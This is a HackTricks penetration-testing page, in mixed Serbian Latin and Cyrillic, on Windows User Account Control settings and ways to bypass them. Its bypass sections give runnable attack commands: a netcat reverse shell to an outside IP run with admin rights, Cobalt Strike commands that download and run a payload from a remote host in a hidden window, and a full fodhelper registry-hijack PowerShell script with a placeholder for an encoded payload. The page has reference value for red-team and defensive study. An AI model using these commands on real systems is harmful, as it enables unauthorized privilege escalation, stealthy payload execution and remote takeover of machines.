UAC - User Account Control
Reading time: 14 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
UAC
User Account Control (UAC) је funkcija која омогућава prikaz zahteva za saglasnost при покретању активности које захтевају povišene privilegije. Апликације имају различite integrity
нивое, и програм са високим нивоом може изводити задатке који би могли потенцијално компромитовати систем. Када је UAC омогућен, апликације и задаци увек раде у безбедносном контексту налога без администраторских права осим ако администратор изричито не дозволи тим апликацијама/задатцима приступ на нивоу администратора. Ово је уређај за удобност који штити администраторе од ненамерних промена али се не сматра безбедносном границом.
For more info about integrity levels:
Када је UAC активан, администраторском налогу се додељују 2 токена: један за стандардног корисника за извођење уобичајених радњи на регуларном нивоу, и један са администраторским привилегијама.
This page детаљно објашњава како UAC функционише и обухвата процес пријављивања, корисничко искуство и UAC архитектуру. Администратори могу користити безбедносне политике за конфигурисање начина рада UAC-а специфично за њихову организацију на локалном нивоу (користећи secpol.msc), или их конфигурисати и раширити користећи Group Policy Objects (GPO) у Active Directory домен окружењу. Различита подешавања су детаљно објашњена here. Постоји 10 Group Policy подешавања која се могу поставити за UAC. Следећа табела пружа додатне детаље:
UAC Bypass Theory
Neki programi su autoelevated automatically ако корисник припада administrator групи. Ови бинари у свом Manifest имају опцију autoElevate са вредношћу True. Бинар такође мора бити потписан од стране Microsoft-a.
Многи auto-elevate процеси излажу функционалност преко COM објеката или RPC сервера, које могу да позову процеси који раде са medium integrity (нивоом редовног корисника). Имајте у виду да су COM (Component Object Model) и RPC (Remote Procedure Call) методе које Windows програми користе за комуникацију и извршавање функција између различитих процеса. На пример, IFileOperation COM object
је дизајниран за руковање операцијама над фајловима (копирање, брисање, померање) и може аутоматски да подигне привилегије без приказивања упита.
Понекад се извршавају провере, као проверa да ли је процес покренут из System32 directory, што се може заобићи, на пример, injecting into explorer.exe или у други извршни фајл лоциран у System32.
Други начин да се заобиђу ове провере је модификација PEB-а. Свaki процес у Windows-у има Process Environment Block (PEB), који садржи важне податке о процесу, као што је путања до извршног фајла. Модификацијом PEB-а, нападачи могу фалсификовати (spoofovati) локацију свог злонамерног процеса, чинећи да изгледа да се покреће из поузданог директоријума (као што је system32). Ове лажне информације збуњују COM објекат и доводе до аутоматског подизања привилегија без упита корисника.
Да би се bypass-овао UAC (повећање са medium integrity нивоa на high), неки нападачи користе ове бинаре да изврше произвољни код, јер ће бити извршени из процеса са High level integrity.
Možete proveriti Manifest бинарног фајла користећи алат sigcheck.exe из Sysinternals. (sigcheck.exe -m <file>
) И можете видети integrity
ниво процеса користећи Process Explorer или Process Monitor (из Sysinternals).
Check UAC
Да потврдите да ли је UAC омогућен урадите:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
Ako je 1
onda je UAC omogućen, ako je 0
ili ne postoji, onda je UAC onemogućen.
Zatim proverite koji nivo je konfigurisan:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- Ako je
0
, UAC neće tražiti potvrdu (kao da je onemogućeno) - Ako je
1
, administratoru se traži korisničko ime i lozinka da izvrši binarni fajl sa visokim privilegijama (na Secure Desktop) - Ako je
2
(Uvek me obaveštavaj) UAC će uvek tražiti potvrdu od administratora kada pokuša da izvrši nešto sa visokim privilegijama (na Secure Desktop) - Ako je
3
, slično kao1
ali nije neophodno na Secure Desktop - Ako je
4
, slično kao2
ali nije neophodno na Secure Desktop - Ako je
5
(default), tražiće od administratora potvrdu da pokrene ne-Windows binarne fajlove sa visokim privilegijama
Zatim, treba da pogledate vrednost LocalAccountTokenFilterPolicy
Ako je vrednost 0
, onda samo korisnik RID 500 (built-in Administrator) može da izvršava admin zadatke bez UAC, a ako je 1
, svi nalozi u grupi "Administrators" mogu to da rade.
I na kraju, pogledajte vrednost ključa FilterAdministratorToken
Ako je 0
(podrazumevano), built-in Administrator nalog može da obavlja daljinske administratorske zadatke, a ako je 1
, built-in Administrator ne može da obavlja daljinske administratorske zadatke, osim ako LocalAccountTokenFilterPolicy
nije postavljen na 1
.
Rezime
- Ako
EnableLUA=0
ili ne postoji, nema UAC za nikoga - Ako
EnableLua=1
iLocalAccountTokenFilterPolicy=1
, nema UAC za nikoga - Ako
EnableLua=1
iLocalAccountTokenFilterPolicy=0
iFilterAdministratorToken=0
, nema UAC za RID 500 (Built-in Administrator) - Ako
EnableLua=1
iLocalAccountTokenFilterPolicy=0
iFilterAdministratorToken=1
, UAC za sve
Sve ove informacije se mogu prikupiti korišćenjem metasploit modula: post/windows/gather/win_privs
Takođe možete proveriti grupe vašeg korisnika i dobiti nivo integriteta:
net user %username%
whoami /groups | findstr Level
UAC bypass
tip
Imajte na umu da ako imate grafički pristup žrtvi, UAC bypass je jednostavan jer možete jednostavno kliknuti na "Yes" kada se pojavi UAC prompt
UAC bypass je potreban u sledećoj situaciji: UAC je aktiviran, vaš proces radi u medium integrity context, i vaš korisnik pripada Administrators group.
Važno je napomenuti da je mnogo teže zaobići UAC ako je na najvišem nivou bezbednosti (Always) nego ako je na nekom od drugih nivoa (Default).
UAC onemogućen
Ako je UAC već onemogućen (ConsentPromptBehaviorAdmin
je 0
) možete izvršiti reverse shell sa administratorskim privilegijama (high integrity level) koristeći nešto poput:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
UAC bypass with token duplication
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
Veoma osnovni UAC "bypass" (puni pristup fajl sistemu)
Ako imate shell sa korisnikom koji je član Administrators group, možete mount the C$ deljeni resurs preko SMB (file system) lokalno kao novo diskovno slovo i imaćete pristup svemu unutar fajl sistema (čak i Administrator home folder).
warning
Izgleda da ovaj trik više ne radi
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
UAC bypass sa cobalt strike
Tehnike cobalt strike će raditi samo ako UAC nije podešen na maksimalni nivo bezbednosti.
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire and Metasploit takođe imaju nekoliko modula za bypass UAC.
KRBUACBypass
Dokumentacija i alat na https://github.com/wh0amitz/KRBUACBypass
UAC bypass exploits
UACME koji je kompilacija nekoliko UAC bypass exploits. Imajte na umu da ćete morati kompajlirati UACME koristeći visual studio ili msbuild. Kompilacija će napraviti nekoliko izvršnih fajlova (npr. Source\Akagi\outout\x64\Debug\Akagi.exe
), moraćete da znate koji vam treba.
Treba da budete oprezni jer će neki bypasses pokrenuti neke druge programe koji će obavestiti korisnika da se nešto dešava.
UACME ima build verziju od koje je svaka tehnika počela da radi. Možete pretražiti tehniku koja utiče na vaše verzije:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
Takođe, koristeći this stranicu dobijate Windows izdanje 1607
iz build verzija.
UAC Bypass – fodhelper.exe (Registry hijack)
Pouzdani binarni fajl fodhelper.exe
se automatski dobija povišene privilegije na modernim Windows sistemima. Kada se pokrene, proverava per-user registry put naveden ispod bez validacije DelegateExecute
verbe. Postavljanje komande tamo omogućava procesu sa Medium Integrity (korisnik je u Administrators) da pokrene proces sa High Integrity bez UAC prompta.
Registry put koji fodhelper proverava:
HKCU\Software\Classes\ms-settings\Shell\Open\command
PowerShell koraci (postavite svoj payload, zatim ga pokrenite):
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
# 1) Create the vulnerable key and values
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
# 2) Set default command to your payload (example: reverse shell or cmd)
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
# 3) Trigger auto-elevation
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
Napomene:
- Radi kada je trenutni korisnik član Administrators i nivo UAC je podrazumevan/olabavljen (nije Always Notify sa dodatnim ograničenjima).
- Koristite putanju
sysnative
da pokrenete 64-bitni PowerShell iz 32-bitnog procesa na 64-bitnom Windowsu. - Payload može biti bilo koja komanda (PowerShell, cmd, ili putanja do EXE). Izbegavajte UI prozore koji zahtevaju unos radi prikrivanja.
Više UAC bypass
Sve tehnike korišćene ovde za bypass AUC zahtevaju a full interactive shell sa žrtvom (običan nc.exe shell nije dovoljan).
You can get using a meterpreter session. Migrate to a process that has the Session value equals to 1:
(explorer.exe treba da radi)
UAC Bypass sa GUI
Ako imate pristup GUI možete jednostavno prihvatiti UAC prompt kada se pojavi, zapravo vam ne treba bypass. Dakle, dobijanje pristupa GUI će vam omogućiti bypass UAC.
Pored toga, ako dobijete GUI sesiju koju je neko koristio (potencijalno preko RDP) postoje neki alati koji će se pokretati kao administrator iz kojih biste mogli, na primer, pokrenuti cmd as admin direktno bez ponovnog UAC prompta, kao https://github.com/oski02/UAC-GUI-Bypass-appverif. Ovo može biti malo više stealthy.
Noisy brute-force UAC bypass
Ako vam nije stalo do buke, uvek možete pokrenuti nešto poput https://github.com/Chainski/ForceAdmin što će tražiti podizanje privilegija dok korisnik ne prihvati.
Vaš vlastiti bypass - Basic UAC bypass methodology
If you take a look to UACME you will note that most UAC bypasses abuse a Dll Hijacking vulnerability (mainly writing the malicious dll on C:\Windows\System32). Read this to learn how to find a Dll Hijacking vulnerability.
- Pronađite binarni fajl koji će autoelevate (proverite da li se pri izvršenju pokreće na visokom integritetu).
- Pomoću procmon pronađite "NAME NOT FOUND" događaje koji mogu biti ranjivi na DLL Hijacking.
- Verovatno ćete morati da write DLL unutar nekih protected paths (kao C:\Windows\System32) gde nemate dozvolu za pisanje. Ovo možete zaobići koristeći:
- wusa.exe: Windows 7,8 and 8.1. Omogućava da se izdvoji sadržaj CAB fajla unutar protected paths (jer se ovaj alat izvršava iz high integrity level).
- IFileOperation: Windows 10.
- Pripremite script da kopirate vaš DLL u zaštićenu putanju i izvršite ranjiv i autoelevated binarni fajl.
Another UAC bypass technique
Sastoji se u praćenju da li neki autoElevated binary pokušava da read iz registry ime/putanju nekog binary ili command koji će biti executed (ovo je interesantnije ako binary traži ovu informaciju unutar HKCU).
References
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps
- LOLBAS: Fodhelper.exe
- Microsoft Docs – How User Account Control works
- UACME – UAC bypass techniques collection
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.